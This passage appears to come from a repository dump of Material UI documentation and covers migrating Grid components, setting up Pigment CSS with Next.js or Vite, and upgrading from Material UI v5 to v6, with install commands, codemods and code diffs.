v5\nSkip this step if you're using Material UI v5.\n```\n\n</codeblock>\n\n:::warning\nThe codemod requires [updating the imports](#1-update-the-import) beforehand.\n:::\n\n### 4. Opt in to legacy negative margins\n\n:::warning\nSkip this step if you're using Material UI v6 or v7.\n:::\n\nIf you're using Material UI v5 and want to apply the negative margins similar to GridLegacy, specify `disableEqualOverflow={true}` on the grid container.\nTo apply to all grids, add the default props to the theme:\n\n```js\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Grid from '@mui/material/Unstable_Grid2';\n\nconst theme = createTheme({\n  components: {\n    MuiGrid2: {\n      defaultProps: {\n        // all grids under this theme will apply\n        // negative margin on the top and left sides.\n        disableEqualOverflow: true,\n      },\n    },\n  },\n});\n\nfunction Demo() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Grid container>...grids</Grid>\n    </ThemeProvider>\n  );\n}\n```\n\n## Common issues\n\n### Column direction\n\nUsing `direction=\"column\"` or `direction=\"column-reverse\"` is not supported.\nIf your layout used GridLegacy with these values, it might break when you switch to the updated Grid.\nIf you need a vertical layout, follow the instructions in the [Grid documentation](/material-ui/react-grid/#column-direction).\n\n### Container width\n\nThe updated Grid component doesn't grow to the full width of the container by default.\nIf you need the grid to grow to the full width, you can use the `sx` prop:\n\n```diff\n-<GridLegacy container>\n+<Grid container sx={{ width: '100%' }}>\n\n // alternatively, if the Grid's parent is a flex container:\n-<GridLegacy container>\n+<Grid container sx={{ flexGrow: 1 }}>\n```\n\n### Codemod not covering wrapped Grid components\n\nThe provided codemods won't cover Grid components which are wrapped in other components or styled:\n\n```jsx\n// The codemod won't cover StyledGrid\nconst StyledGrid = styled(Grid)({\n  // styles\n});\n\n// The codemod won't cover WrappedGrid\nconst WrappedGrid = (props) => <Grid {...props} />;\n```\n\nYou'll need to manually update these components.\n\n## Documentation pages\n\n- Grid:\n  - [Documentation](/material-ui/react-grid/)\n  - [API](/material-ui/api/grid/)\n"
  },
  {
    "path": "docs/data/material/migration/upgrade-to-v6/migrating-to-pigment-css.md",
    "content": "# Migrating to Pigment CSS\n\n<p class=\"description\">This guide helps you integrate Pigment CSS with Material UI.</p>\n\n:::warning\nPigment CSS is currently in the early alpha stage of development. We're actively working on improving its performance and stability. If you find any problem, please open a [GitHub issue](https://github.com/mui/pigment-css/issues).\n:::\n\nBefore going through this guide, make sure you have [upgraded to Material UI v7](/material-ui/migration/upgrade-to-v7/) (or [v6](/material-ui/migration/upgrade-to-v6/)).\n\n## Introduction\n\nThe default styling engine of Material UI is [Emotion](https://emotion.sh/docs/introduction).\nIt lets you write styles in a CSS-in-JS fashion, which is great for dynamic styles that depend on states and props. However, it has some performance drawbacks when it comes to frequent re-renders because the style recalculation happens on the client-side.\nIt also does not fully support [React Server Components](https://react.dev/reference/rsc/server-components), a new rendering paradigm that renders components ahead of time on the server.\n\nPigment CSS aims to solve these problems while keeping the same developer experience of writing styles in a CSS-in-JS fashion.\nIt can work alongside Emotion to ease the migration process, but it is recommended to fully migrate to Pigment CSS in the end.\n\n## Supported frameworks\n\nPigment CSS can be used with one of the following frameworks:\n\n- [Next.js App Router](https://nextjs.org/docs/app) with webpack v5 (Turbopack is not supported yet)\n- [Vite](https://vite.dev/)\n\n## Installation\n\nFirst, install the Material UI wrapper package for Pigment CSS:\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @mui/material-pigment-css @pigment-css/react\n```\n\n```bash pnpm\npnpm add @mui/material-pigment-css @pigment-css/react\n```\n\n```bash yarn\nyarn add @mui/material-pigment-css @pigment-css/react\n```\n\n</codeblock>\n\nThen, follow the instructions based on your framework:\n\n### Next.js\n\nInstall the Next.js plugin as a dev dependency:\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install --save-dev @pigment-css/nextjs-plugin\n```\n\n```bash pnpm\npnpm add -D @pigment-css/nextjs-plugin\n```\n\n```bash yarn\nyarn add -D @pigment-css/nextjs-plugin\n```\n\n</codeblock>\n\nThen, open Next.js config file and add the plugin:\n\n<codeblock>\n\n```js next.config.mjs\nimport { withPigment } from '@pigment-css/nextjs-plugin';\n\nconst nextConfig = {\n  // ...Your nextjs config.\n};\n\n/**\n * @type {import('@pigment-css/nextjs-plugin').PigmentOptions}\n */\nconst pigmentConfig = {\n  transformLibraries: ['@mui/material'],\n};\n\nexport default withPigment(nextConfig, pigmentConfig);\n```\n\n```js next.config.js\nconst { withPigment } = require('@pigment-css/nextjs-plugin');\n\nconst nextConfig = {\n  // ...Your nextjs config.\n};\n\n/**\n * @type {import('@pigment-css/nextjs-plugin').PigmentOptions}\n */\nconst pigmentConfig = {\n  transformLibraries: ['@mui/material'],\n};\n\nmodule.exports = withPigment(nextConfig, pigmentConfig);\n```\n\n</codeblock>\n\nFinally, import the stylesheet at the top of the layout file.\n\n```diff title=\"app/layout.(js|tsx)\"\n import type { Metadata } from 'next';\n import { Inter } from 'next/font/google';\n\n+import '@mui/material-pigment-css/styles.css';\n\n export default function RootLayout(props) {\n   return (\n     <html lang=\"en\">\n       <body className={`${inter.className}`}>\n         {props.children}\n       </body>\n     </html>\n   );\n }\n```\n\n### Vite\n\nInstall the Vite plugin as a dev dependency:\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install --save-dev @pigment-css/vite-plugin\n```\n\n```bash yarn\nyarn add -D @pigment-css/vite-plugin\n```\n\n</codeblock>\n\nNext, open the Vite config file (usually named `vite.config.mjs` or `vite.config.js`) and add the plugin:\n\n```js\nimport { defineConfig } from 'vite';\nimport { pigment } from '@pigment-css/vite-plugin';\n\n/**\n * @type {import('@pigment-css/vite-plugin').PigmentOptions}\n */\nconst pigmentConfig = {\n  transformLibraries: ['@mui/material'],\n};\n\nexport default defineConfig({\n  plugins: [\n    pigment(pigmentConfig),\n    // ... Your other plugins.\n  ],\n});\n```\n\n:::warning\nThere is [a known issue with pnpm](https://github.com/mui/pigment-css/issues/176) that currently prevents the plugin from working correctly with this package manager.\nUntil it's resolved, you must use npm or yarn instead.\n:::\n\nFinally, add the Pigment CSS stylesheet to the top of the main file.\n\n```diff title=\"src/main.(js|tsx)\"\n import * as React from 'react';\n+import '@mui/material-pigment-css/styles.css';\n import App from './App';\n\n ReactDOM.createRoot(document.getElementById('root')).render(\n   <React.StrictMode>\n     <App />\n   </React.StrictMode>,\n );\n```\n\n## Configuring the theme\n\nIntegrating Pigment CSS with Material UI requires you to configure the theme to the plugin.\nAdd the following code to your [Next.js](#next-js) or [Vite](#vite) config file:\n\n```diff\n+import { createTheme } from '@mui/material';\n\n const pigmentConfig = {\n   transformLibraries: ['@mui/material'],\n+  theme: createTheme({\n+    cssVariables: true,\n+    /* other parameters, if any */\n+  }),\n };\n```\n\nIf you have a custom theme, follow the [theme migration instructions](#migrating-custom-theme) next.\nOtherwise you're now ready to start the development server:\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm run dev\n```\n\n```bash pnpm\npnpm dev\n```\n\n```bash yarn\nyarn dev\n```\n\n</codeblock>\n\nOpen the browser and navigate to the localhost URL, you should see the app running with Pigment CSS.\n\n### Next.js font optimization\n\nIf you are using `next/font` to optimize font loading, pass a CSS variable name to the `variable` property of the font configuration and use it in the body className:\n\n```diff title=\"app/layout.tsx\"\n import { Roboto } from 'next/font/google';\n\n const roboto = Roboto({\n   weight: ['300', '400', '500', '700'],\n   subsets: ['latin'],\n   display: 'swap',\n+  variable: '--my-font-family',\n });\n\nexport default function RootLayout(props) {\n   const { children } = props;\n   return (\n     <html lang=\"en\">\n+      <body className={roboto.variable}>\n          {children}\n       </body>\n     </html>\n   );\n }\n```\n\nFinally, update the `typography.fontFamily` value with the variable created in the previous step:\n\n```diff title=\"next.config.mjs\"\n const pigmentConfig = {\n   transformLibraries: ['@mui/material'],\n   theme: createTheme({\n+    typography: {\n+      fontFamily: 'var(--my-font-family)',\n+    },\n   }),\n };\n```\n\n### TypeScript\n\nIf you are using TypeScript, you need to extend the Pigment CSS theme types with Material UI `Theme`.\nAdd the following code to a file that is included in your `tsconfig.json`:\n\n```ts\n// e.g. App.tsx\nimport { Theme } from '@mui/material/styles';\n\ndeclare module '@mui/material-pigment-css' {\n  interface ThemeArgs {\n    theme: Theme;\n  }\n}\n```\n\nThen, verify that the types is correctly picked up by Pigment CSS with the following code:\n\n```ts\n// e.g. App.tsx\nimport { styled } from '@mui/material-pigment-css';\n\nconst TestThemeTypes = styled('div')(({ theme }) => ({\n  color: theme.palette.primary.main,\n}));\n```\n\nYou should see no TypeScript errors in your editor. Finally, remove the test code.\n\n## How it works\n\nWhen a Pigment CSS plugin is configured through a framework bundler, it intercepts the styling APIs that Material UI uses and replaces them with those from Pigment CSS instead. Pigment CSS then extracts the styles at build time and injects them into the stylesheet.\n\nIf you come from Material UI v5, using Pigment CSS will be a paradigm shift in terms of writing styles.\nSince Pigment CSS is a build-time extraction tool, it does not support dynamic styles that depend on runtime variables.\nFor example, Pigment CSS will throw an error for styles that depend on a state like the one below:\n\n```js\nimport Card from '@mui/material/Card';\n\nfunction App() {\n  const [color, setColor] = useState('#000000');\n\n  return (\n    <Card\n      sx={{\n        color, // ❌ Pigment CSS cannot extract this style.\n      }}\n    />\n  );\n}\n```\n\nWe recommend reading the rest of the guide below to learn about the new styling paradigm and patterns for creating dynamic styles.\n\n## Migrating custom theme\n\n### Removing owner state\n\nSince Pigment CSS is a build-time extraction tool, it does not support owner state through callbacks. Here is an example that will throw an error at build time:\n\n```js\nconst theme = createTheme({\n  components: {\n    MuiCard: {\n      styleOverrides: {\n        root: {\n          color: ({ ownerState }) => ({\n            // ❌ Pigment CSS cannot extract this style.\n            ...(ownerState.variant === 'outlined' && {\n              borderWidth: 3,\n            }),\n          }),\n        },\n      },\n    },\n  },\n});\n```\n\nRun the following codemod to remove the owner state from the theme:\n\n```bash\nnpx @mui/codemod@latest v6.0.0/theme-v6 next.config.mjs\n```\n\nThere are cases where the codemod is not able to remove the owner state. In such cases, you have to manually replace the owner state with `variants`.\n\n#### Dynamic color based on palette\n\nIf you have a dynamic color based on the theme palette, you can use the `variants` property to define the styles for each palette.\n\n<codeblock>\n\n```js before\nconst theme = createTheme({\n  components: {\n    MuiCard: {\n      styleOverrides: {\n        root: ({ theme, ownerState }) => ({\n          color: theme.palette[ownerState.palette]?.main,\n        }),\n      },\n    },\n  },\n});\n```\n\n```js after\nconst theme = createTheme({\n  components: {\n    MuiCard: {\n      styleOverrides: {\n        root: ({ theme }) => ({\n          variants: [\n            ...Object.entries(theme.palette)\n              .filter(([, palette]) => palette && palette.main)\n              .map(([palette, { main }]) => ({\n                props: { palette },\n                style: {\n                  color: main,\n                },\n              })),\n          ],\n        }),\n      },\n    },\n  },\n});\n```\n\n</codeblock>\n\n### Default props provider\n\nUse `DefaultPropsProvider` in your main application file and move all the component default props to it:\n\n<codeblock>\n\n```diff next.config|vite.config\n import { createTheme } from '@mui/material';\n\n const customTheme = createTheme({\n   // ...other tokens.\n   components: {\n     MuiButtonBase: {\n-      defaultProps: {\n-        disableRipple: true,\n-      },\n     },\n     MuiSelect: {\n-      defaultProps: {\n-        IconComponent: DropdownIcon,\n-      },\n     }\n   }\n });\n```\n\n```diff App.tsx\n+ import DefaultPropsProvider from '@mui/material/DefaultPropsProvider';\n\n  function App() {\n    return (\n+     <DefaultPropsProvider value={{\n+       MuiButtonBase: {\n+         disableRipple: true,\n+       },\n+       MuiSelect: {\n+         IconComponent: DropdownIcon,\n+       },\n+     }}>\n        {/* Your app */}\n+     </DefaultPropsProvider>\n    );\n  }\n```\n\n</codeblock>\n\n## Migrating dynamic styles\n\n### sx prop\n\nRun the following codemod:\n\n```bash\nnpx @mui/codemod@latest v6.0.0/sx-prop path/to/folder\n```\n\nThe scenarios below are not covered by the codemod, so you have to manually update them:\n\n<!-- Add manual case -->\n\n#### Dynamic values\n\nIf a value depends on a variable, you need to move it to a CSS variable inside inline styles.\n\n<codeblock>\n\n```js before\n<div>\n  {items.map((item, index) => (\n    <Box\n      key={index}\n      sx={{\n        borderRadius: '50%',\n        width: `max(${6 - index}px, 3px)`,\n        height: `max(${6 - index}px, 3px)`,\n        bgcolor: index === 0 ? 'primary.solidBg' : 'background.level3',\n      }}\n    />\n  ))}\n</div>\n```\n\n```js after\n<div>\n  {items.map((item, index) => (\n    <Box\n      key={index}\n      sx={{\n        borderRadius: '50%',\n        width: `max(6px - var(--offset), 3px)`,\n        height: `max(6px - var(--offset), 3px)`,\n        bgcolor: `var(--bg)`,\n      }}\n      style={{\n        '--offset': `${index}px`,\n        '--bg':\n          index === 0\n            ? 'var(--mui-palette-primary-solidBg)'\n            : 'var(--mui-palette-background-level3)',\n      }}\n    />\n  ))}\n</div>\n```\n\n</codeblock>\n\n#### Custom components\n\nWith Pigment CSS, any JSX element can accept the `sx` prop so it is **no** longer needed to pass down the `sx` prop to Material UI components.\n\n```diff\n import ButtonBase from '@mui/material/ButtonBase';\n\n function ActiveButton({ sx, ...props }) {\n   return (\n     <ButtonBase\n       sx={[\n         {\n           '&:active': {\n             opacity: 0.5,\n           },\n         },\n-        ...Array.isArray(sx) ? sx : [sx],\n       ]}\n       {...props}\n     />\n   );\n }\n```\n\n### styled\n\nIf you have custom components that are using `styled` from `@mui/material/styles`, change the import source to `@mui/material-pigment-css`:\n\n```diff\n-import { styled } from '@mui/material/styles';\n+import { styled } from '@mui/material-pigment-css';\n```\n\nThen, run the following codemod:\n\n```bash\nnpx @mui/codemod@latest v6.0.0/styled path/to/folder\n```\n\nThe scenarios below are not covered by the codemod, so you have to manually update them:\n\n#### Dynamic styles based on props\n\nIf you have dynamic styles based on props, you need to move them to CSS variables. You will need to create a wrapper component to set the inline style with the CSS variables.\n\n<codeblock>\n\n```js before\nconst FlashCode = styled('div')(\n  ({ theme, startLine = 0, endLine = startLine, lineHeight = '0.75rem' }) => ({\n    top: `calc(${lineHeight} * 1.5 * ${startLine})`,\n    height: `calc(${lineHeight} * 1.5 * ${endLine - startLine + 1})`,\n    ...theme.typography.caption,\n  }),\n);\n\nexport default FlashCode;\n```\n\n```js after\nconst FlashCodeRoot = styled('div')(({ theme }) => ({\n  top: `calc(var(--Flashcode-lineHeight) * 1.5 * var(--Flashcode-startLine))`,\n  height: `calc(var(--Flashcode-lineHeight) * 1.5 * (var(--Flashcode-endLine) - var(--Flashcode-startLine) + 1))`,\n  ...theme.typography.caption,\n}));\n\nconst FlashCode = React.forwardRef(function FlashCode(props, ref) {\n  const {\n    children,\n    startLine = 0,\n    endLine = startLine,\n    lineHeight = '0.75rem',\n    ...other\n  } = props;\n\n  return (\n    <FlashCodeRoot\n      ref={ref}\n      {...other}\n      style={{\n        '--Flashcode-lineHeight': lineHeight,\n        '--Flashcode-startLine': startLine,\n        '--Flashcode-endLine': endLine,\n        ...other.style,\n      }}\n    >\n      {children}\n    </FlashCodeRoot>\n  );\n});\n\nexport default FlashCode;\n```\n\n</codeblock>\n\n## Migrating layout components\n\nTo use layout components that are compatible with Pigment CSS, replace the following components with those from the adapter package:\n\n```diff\n-import Container from '@mui/material/Container';\n+import Container from '@mui/material-pigment-css/Container';\n\n-import Grid from '@mui/material/Grid';\n+import Grid from '@mui/material-pigment-css/Grid';\n\n-import Stack from '@mui/material/Stack';\n+import Stack from '@mui/material-pigment-css/Stack';\n\n-import Hidden from '@mui/material/Hidden';\n+import Hidden from '@mui/material-pigment-css/Hidden';\n```\n\n:::info\n`Grid` component from `@mui/material-pigment-css/Grid` has a different behavior compared to the default `Grid` component.\nIt uses CSS `gap` instead of `margin` for spacing between items.\n:::\n\n## Migrating Box component\n\nChoose one of the following approaches:\n\n### Continue using Box\n\nReplace the `Box` component with the one from the adapter package:\n\n```diff\n-import Box from '@mui/material/Box';\n+import Box from '@mui/material-pigment-css/Box';\n```\n\n### Use HTML element\n\nPigment CSS can extract the `sx` prop from any JSX element, so there is no need to use the Box component.\n\n```diff\n-import Box from '@mui/material/Box';\n\n function CustomCard() {\n   return (\n-    <Box sx={{ display: 'flex' }}>\n-      <Box component=\"img\" src=\"...\" sx={{ width: 24, height: 24 }}>\n-      ...\n-    </Box>\n+    <div sx={{ display: 'flex' }}>\n+      <img src=\"...\" sx={{ width: 24, height: 24 }}>\n+      ...\n+    </div>\n   );\n }\n```\n\nFor **TypeScript** users, you need to extend the `HTMLAttributes` interface to support the `sx` prop. Add the following code to a file that is included in your `tsconfig.json`:\n\n```ts\nimport type { Theme, SxProps } from '@mui/material/styles';\n\ndeclare global {\n  namespace React {\n    interface HTMLAttributes<T> {\n      sx?: SxProps<Theme>;\n    }\n    interface SVGProps<T> {\n      sx?: SxProps<Theme>;\n    }\n  }\n}\n```\n\n## Migrate useTheme hook\n\nIf you are using the `useTheme` hook, replace the import source:\n\n```diff\n-import { useTheme } from '@mui/material/styles';\n+import { useTheme } from '@mui/material-pigment-css';\n```\n\n:::info\nFor Next.js App Router, `useTheme` hook only works with React Client Components.\nYou need to add `'use client'` directive to the component that uses the hook.\n:::\n\n## Right-to-left support\n\nUpdate the config file with the following code to enable right-to-left support:\n\n```diff\n const pigmentConfig = {\n   theme: createTheme(),\n+  css: {\n+    // Specify your default CSS authoring direction\n+    defaultDirection: 'ltr',\n+    // Generate CSS for the opposite of the `defaultDirection`\n+    // This is set to `false` by default\n+    generateForBothDir: true,\n+  },\n }\n```\n\n### Migrating from theme direction\n\nIf you are using the `theme.direction` in your component, wrap your application with `RtlProvider` and use the `useRtl` hook to get the direction instead:\n\n<codeblock>\n\n```diff app.tsx\n+ import RtlProvider from '@mui/material-pigment-css/RtlProvider';\n\n function App() {\n+  const [rtl, setRtl] = React.useState(false);\n   return (\n+    <RtlProvider value={rtl}>\n       {/* Your app */}\n+    </RtlProvider>\n   )\n }\n```\n\n```diff component.tsx\n- import { useTheme } from '@mui/material/styles';\n+ import { useRtl } from '@mui/material-pigment-css/RtlProvider';\n\n function App() {\n-  const theme = useTheme();\n+  const isRtl = useRtl();\n\n   return (\n     <Box sx={{ display: 'flex', alignItems: 'center', pl: 1, pb: 1 }}>\n       <IconButton aria-label=\"previous\">\n-        {theme.direction === 'rtl' ? <SkipNextIcon /> : <SkipPreviousIcon />}\n+        {isRtl ? <SkipNextIcon /> : <SkipPreviousIcon />}\n       </IconButton>\n       <IconButton aria-label=\"play/pause\">\n         <PlayArrowIcon sx={{ height: 38, width: 38 }} />\n       </IconButton>\n       <IconButton aria-label=\"next\">\n-        {theme.direction === 'rtl' ? <SkipPreviousIcon /> : <SkipNextIcon />}\n+        {isRtl ? <SkipPreviousIcon /> : <SkipNextIcon />}\n       </IconButton>\n     </Box>\n   );\n }\n\n```\n\n</codeblock>\n"
  },
  {
    "path": "docs/data/material/migration/upgrade-to-v6/upgrade-to-v6.md",
    "content": "# Upgrade to v6\n\n<p class=\"description\">This guide explains why and how to upgrade from Material UI v5 to v6.</p>\n\n## Why you should upgrade to Material UI v6\n\n### React Server Component support\n\nMaterial UI v6 introduces Pigment CSS, a zero-runtime CSS-in-JS styling engine to replace Emotion and styled-components as a more future-proof solution for writing styles in React 19 and beyond.\nWith Pigment CSS, styles are extracted at build time rather than runtime, avoiding client-side recalculations and unlocking React Server Component (RSC) compatibility.\nThis also leads to significant reductions in bundle sizes for Material UI apps.\n\n**In v6, Pigment CSS is opt-in.**\nFuture major versions of Material UI will likely use Pigment CSS as the default styling solution.\nThough optional, it's encouraged to try Pigment CSS out in your Material UI app.\nIf you wish to do so, refer to the guide for [migrating to Pigment CSS](/material-ui/migration/migrating-to-pigment-css/) once you're done upgrading to Material UI v6.\n\n### Quality-of-life improvements\n\nMaterial UI v6 features several other quality-of-life improvements, including:\n\n- `ThemeProvider` now supports all of the `CssVarsProvider` features\n- support for [container queries](/material-ui/customization/container-queries/)\n- a [new theme utility](#color-mode-theme-utility) for adding styles to specific color modes\n\nIf you're using any of these packages, you can also change their version to `\"6.0.0\"`:\n\n- `@mui/icons-material`\n- `@mui/system`\n- `@mui/lab`\n- `@mui/material-nextjs`\n- `@mui/styled-engine-sc`\n- `@mui/utils`\n\nNote that MUI X packages _do not_ follow the same versioning strategy as Material UI.\nIf you're using any of the following packages, they should remain unchanged during the upgrade process:\n\n- `@mui/x-data-grid`\n- `@mui/x-data-grid-pro`\n- `@mui/x-data-grid-premium`\n- `@mui/x-date-pickers`\n- `@mui/x-date-pickers-pro`\n- `@mui/x-charts`\n- `@mui/x-tree-view`\n- `@mui/x-tree-view-pro`\n\n## Supported browsers and versions\n\nThe default bundle targets have changed in v6.\n\nThe exact versions will be pinned on release from the browserslist query: `\"> 0.5%, last 2 versions, Firefox ESR, not dead, safari >= 15.4, iOS >= 15.4\"`.\n\n<!-- #stable-snapshot -->\n\n- Node.js 14 (up from 12)\n- Chrome 109 (up from 90)\n- Edge 121 (up from 91)\n- Firefox 115 (up from 78)\n- Safari 15.4 in both macOS and iOS (up from 14 in macOS and 12.5 in iOS)\n- and more (see [.browserslistrc `stable` entry](https://github.com/mui/material-ui/blob/v6.0.0/.browserslistrc#L11))\n\n### Removed support for IE 11\n\nSupport for IE 11－the legacy bundle and all IE 11-related code－has been completely removed in v6.\nThis decreases Material UI's bundle size and eases future development.\n\nIf you need to support IE 11, you can use v5's [legacy bundle](https://v5.mui.com/material-ui/guides/minimizing-bundle-size/#legacy-bundle).\nNote that it will not receive updates or bug fixes in the future.\n\n### Minimum React version\n\nThe minimum supported version of React is v17.0.0 (the same as v5).\nUse the snippet below to update your project (replace the `<version>` with the one you want):\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install react@<version> react-dom@<version>\n```\n\n```bash pnpm\npnpm add react@<version> react-dom@<version>\n```\n\n```bash yarn\nyarn add react@<version> react-dom@<version>\n```\n\n</codeblock>\n\n### React 18 and below\n\nIf you are using React 18 or below, you need to set up a resolution of `react-is` package to the same version as the `react` you are using.\n\nFor example, if you are using `react@18.3.1`, do the following steps:\n\n1. Install `react-is@18.3.1`.\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install react-is@18.3.1\n```\n\n```bash pnpm\npnpm add react-is@18.3.1\n```\n\n```bash yarn\nyarn add react-is@18.3.1\n```\n\n</codeblock>\n\n2. Set the resolutions or overrides in the `package.json`.\n\n<codeblock storageKey=\"package-manager\">\n\n```json npm\n{\n  …\n  \"overrides\": {\n    \"react-is\": \"^18.3.1\"\n  }\n}\n```\n\n```json pnpm\n{\n  …\n  \"overrides\": {\n    \"react-is\": \"^18.3.1\"\n  }\n}\n```\n\n```json yarn\n{\n  …\n  \"resolutions\": {\n    \"react-is\": \"^18.3.1\"\n  }\n}\n```\n\n</codeblock>\n\n#### Why is this needed?\n\nMaterial UI v6 uses `react-is@19`, which changed how React elements are identified.\n\nIf you're on React 18 or below, mismatched versions of `react-is` can cause runtime errors in prop type checks.\nForcing `react-is` to match your React version prevents these errors.\n\n### Minimum TypeScript version\n\nThe minimum supported version of TypeScript has been increased from v3.5 to 4.7.\n\n:::info\nWe align with types released by [DefinitelyTyped](https://github.com/DefinitelyTyped/DefinitelyTyped) (published on npm under the `@types` namespace).\n\nWe will not change the minimum supported version in a minor version of Material UI.\nHowever, we recommend not using a TypeScript version older than the lowest supported version by DefinitelyTyped.\n:::\n\nIf your project includes these packages, you'll need to update them:\n\n- `@types/react`\n- `@types/react-dom`\n\n:::warning\nMake sure that your application is still running without errors, and commit the changes before continuing to the next step.\n:::\n\n## Breaking changes\n\nMaterial UI v6 was designed to introduce minimal breaking changes when upgrading from v5.\nThese include browser support updates, a Node.js version bump, and the removal of the UMD bundle.\nThese updates reduce the Material UI package size by 2.5MB—nearly 25% of the total size in v5.\n\nCodemods are provided to handle the majority of these breaking changes.\n\n:::info\nThis list is a work in progress.\nExpect updates as new breaking changes are introduced.\n:::\n\n### UMD bundle removed\n\nTo align with React 19's removal of UMD builds, Material UI has also removed its UMD bundle.\nThis results in a reduction of the `@mui/material` package size by 2.5MB, or 25% of the total package size.\nSee [Package Phobia](https://packagephobia.com/result?p=@mui/material) for more details.\n\nInstead, we recommend using ESM-based CDNs such as [esm.sh](https://esm.sh/).\nFor alternative installation methods, refer to the [CDN documentation](/material-ui/getting-started/installation/#cdn).\n\n### Accordion\n\n#### Summary wrapped in a heading\n\nTo meet the [W3C Accordion Pattern standard](https://www.w3.org/WAI/ARIA/apg/patterns/accordion/), the Accordion Summary is now wrapped with a default `<h3>` heading element.\nThis change may affect customizations relying on the previous DOM structure and CSS specificity.\nAdditionally, the default heading element might conflict with existing heading structures on your page.\n\nIf your styles or DOM manipulations depend on the old structure, you will need to update them to accommodate the new heading element.\nIf the default heading element conflicts with your existing structure, you can change the heading element using the `slotProps.heading.component` prop.\n\n```jsx\n<Accordion slotProps={{ heading: { component: 'h4' } }}>\n  <AccordionSummary\n    expandIcon={<ExpandMoreIcon />}\n    aria-controls=\"panel1-content\"\n    id=\"panel1-header\"\n  >\n    Accordion\n  </AccordionSummary>\n  <AccordionDetails>\n    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse malesuada\n    lacus ex, sit amet blandit leo lobortis eget.\n  </AccordionDetails>\n</Accordion>\n```\n\n#### Summary as a button (from v6.3.0)\n\n- The Accordion Summary HTML structure has been updated to fix invalid HTML introduced by wrapping it with a heading shown above:\n  - The root element is now a `button`.\n  - Summary content and the icon wrapper are rendered as `span`.\n- Developers using the previous `div` element for styling in the `AccordionSummary` should update their styling. Additionally, those using `Typography` for text, which defaults to rendering a `p` tag, should replace it with a `span`. You can use the `component` prop to replace the HTML tag (`<Typography component=\"span\" />`), as shown in the [Accordion demos](https://mui.com/material-ui/react-accordion/).\n\n### Autocomplete\n\nThree new values have been introduced to the `reason` argument in the `onInputChange` callback of the Autocomplete component.\nThese values offer more granular options for three specific use cases previously covered by `\"reset\"`:\n\n- `\"blur\"`: similar to `\"reset\"` but triggered when the focus moves away from the input. `clearOnBlur` must be `true`.\n- `\"selectOption\"`: triggered when the input value changes after an option is selected.\n- `\"removeOption\"`: triggered in multiple selection mode when a chip is removed as a result of its corresponding option being selected.\n\nThese are available in addition to the existing `\"input\"`, `\"reset\"`, and `\"clear\"` values.\n\n### Chip\n\nIn earlier versions, the Chip component would lose focus when the user pressed the <kbd class=\"key\">esc</kbd> key, which differs from how other button-like components work.\nIn v6, the Chip now retains focus as expected.\n\nTo preserve the previous behavior, add a custom `onKeyUp` handler as shown below:\n\n```js\nimport * as React from 'react';\nimport Chip from '@mui/material/Chip';\n\nexport default function ChipExample() {\n  const chipRef = React.useRef(null);\n  const keyUpHandler = (event) => {\n    if (event.key === 'Escape' && chipRef.current) {\n      chipRef.current.blur();\n    }\n  };\n  return (\n    <Chip\n      label=\"Chip Outlined\"\n      variant=\"outlined\"\n      ref={chipRef}\n      onKeyUp={keyUpHandler}\n    />\n  );\n}\n```\n\n### Divider\n\nWhen using vertical orientation, the Divider now renders a `<div>` with the corresponding accessibility attributes instead of `<hr>` to adhere to [the WAI-ARIA spec](https://www.w3.org/TR/wai-aria-1.2/#separator). You might need to adjust your styles accordingly if you are targeting `hr` tags in your CSS.\n\n```diff\n-import Divider from '@mui/material/Divider';\n+import Divider, { dividerClasses } from '@mui/material/Divider';\n\n const Main = styled.main({\n-  '& hr': {\n+  [`& .${dividerClasses.root}`]: {\n     marginTop: '16px',\n   },\n });\n```\n\n### Grid2\n\nThe `Grid2` (previously `Unstable_Grid2`) was updated and stabilized:\n\n- The previous size (`xs`, `sm`, `md`, ...) and offset (`xsOffset`, `smOffset`, `mdOffset`, ...) props, which were named after the theme's breakpoints, were replaced with the `size` and `offset` props.\n- The spacing mechanism was reworked to use the `gap` CSS property.\n\nThis brings some breaking changes described in the following sections.\n\n#### Unstable prefix removed\n\nThe `Grid2` component API was stabilized, so its import no longer contains the `Unstable_` prefix:\n\n```diff\n-import { Unstable_Grid2 as Grid2 } from '@mui/material';\n+import { Grid2 } from '@mui/material';\n```\n\n```diff\n-import Grid from '@mui/material/Unstable_Grid2';\n+import Grid from '@mui/material/Grid2';\n```\n\n#### Size and offset props renamed\n\nIn v5, the size and offset props were named to correspond with the theme's breakpoints.\nFor the default theme, these were:\n\n- Size: `xs`, `sm`, `md`, `lg`, `xl`\n- Offset: `xsOffset`, `smOffset`, `mdOffset`, `lgOffset`, `xlOffset`\n\nIn v6, these props are renamed to `size` and `offset`:\n\n```diff\n <Grid\n-  xs={12}\n-  sm={6}\n-  xsOffset={2}\n-  smOffset={3}\n+  size={{ xs: 12, sm: 6 }}\n+  offset={{ xs: 2, sm: 3 }}\n >\n```\n\nIf the size or offset is the same for all breakpoints, then you can use a single value:\n\n```diff\n-<Grid xs={6} xsOffset={2}>\n+<Grid size={6} offset={2}>\n```\n\nAdditionally, the `true` value for the `size` prop was renamed to `\"grow\"`:\n\n```diff\n-<Grid xs>\n+<Grid size=\"grow\">\n```\n\nUse this codemod to migrate your project to the new `size` and `offset` props:\n\n```bash\nnpx @mui/codemod@latest v6.0.0/grid-v2-props <path/to/folder>\n```\n\n:::warning\nYou need to modify the import from `@mui/material/Unstable_Grid2` to `@mui/material/Grid2` before running the codemod.\n:::\n\n##### Using custom breakpoints\n\nThe usage described above also applies to custom breakpoints:\n\n```diff\n-<Grid mobile={12} mobileOffset={2} desktop={6} desktopOffset={4}>\n+<Grid size={{ mobile: 12, desktop: 6 }} offset={{ mobile: 2, desktop: 4 }}>\n```\n\nYou can use the same codemod for custom breakpoints by providing the breakpoints as an argument:\n\n```bash\nnpx @mui/codemod@latest v6.0.0/grid-v2-props <path/to/folder> --jscodeshift='--muiBreakpoints=mobile,desktop'\n```\n\n#### disableEqualOverflow prop removed\n\nIn v5, the Grid overflowed its parent.\nIn v6, the Grid is correctly contained within its parent's padding:\n\n<img src=\"/static/material-ui/migration-v5/grid-overflow-change.png\" style=\"width: 